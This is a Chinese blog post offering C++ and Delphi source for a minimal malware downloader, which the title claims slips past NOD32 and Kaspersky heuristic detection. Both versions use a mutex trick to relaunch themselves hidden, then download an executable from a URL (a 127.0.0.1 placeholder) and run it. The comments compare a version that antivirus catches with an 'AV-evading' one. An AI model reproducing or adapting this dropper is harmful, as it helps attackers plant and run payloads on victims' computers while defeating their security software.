最简单的下载者过NOD32 卡巴等启发[VC Delphi两个版本]

VC版本:

#pragma comment(lib, "urlmon.lib")
#include
#pragma comment(linker,"/SECTION:.text,EWR /IGNORE:4078 /FILEALIGN:0x200")
#pragma comment(linker,"/ENTRY:Simen /MERGE:.rdata=.text /MERGE:.data=.text")

int DownExeTest()
{
char strPath[MAX_PATH];
HANDLE hMutex = NULL;
hMutex = CreateMutex(NULL, FALSE, "TestC");
if (hMutex != NULL)
{
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
{
URLDownloadToFile(0, "http://127.0.0.1/1.exe", "C:\\aaa.exe", 0, 0);
WinExec("C:\\aaa.exe", SW_SHOW);
ExitProcess(-1);
}
}
else
{
GetModuleFileName(GetModuleHandle(NULL), strPath, sizeof(strPath));
WinExec(strPath, SW_HIDE);
ExitProcess(-1);
}
}
return 0;
}
/*
int DownExe()
{
URLDownloadToFile(0, "http://127.0.0.1/1.exe", "C:\\aaa.exe", 0, 0);
WinExec("C:\\aaa.exe", SW_SHOW);
ExitProcess(-1);
return 0;
}
*/
int Simen()
{
//DownExe(); //没有处理的 被杀..
DownExeTest(); //处理的 免杀..
return 0;

Delphi版本:

 

program Main;
uses
Windows,
Urlmon;
procedure DownExeTest();
var
MutexHandle: dword;
begin
MutexHandle := CreateMutex(nil, True, 'TestD');
if MutexHandle <> 0 then
begin
if GetLastError = ERROR_ALREADY_EXISTS then
begin
URLDownloadToFile(nil, 'http://127.0.0.1/1.exe', 'c:\test.exe', 0, nil);
WinExec('c:\test.exe', SW_SHOW);
end else
begin
WinExec(pchar(paramstr(0)),SW_HIDE);
end;
end;
end;

{
procedure DownExe();
begin
URLDownloadToFile(nil, 'http://127.0.0.1/1.exe', 'c:\test.exe', 0, nil);
WinExec('c:\test.exe', SW_SHOW);
end;
}

begin
// DownExe(); //没有处理的 被杀..
DownExeTest(); //处理的 免杀..
end.

}

 

此项目被张贴在未分类 。书签的 permalink

发表评论

电子邮件地址不会被公开。 必填项已用*标注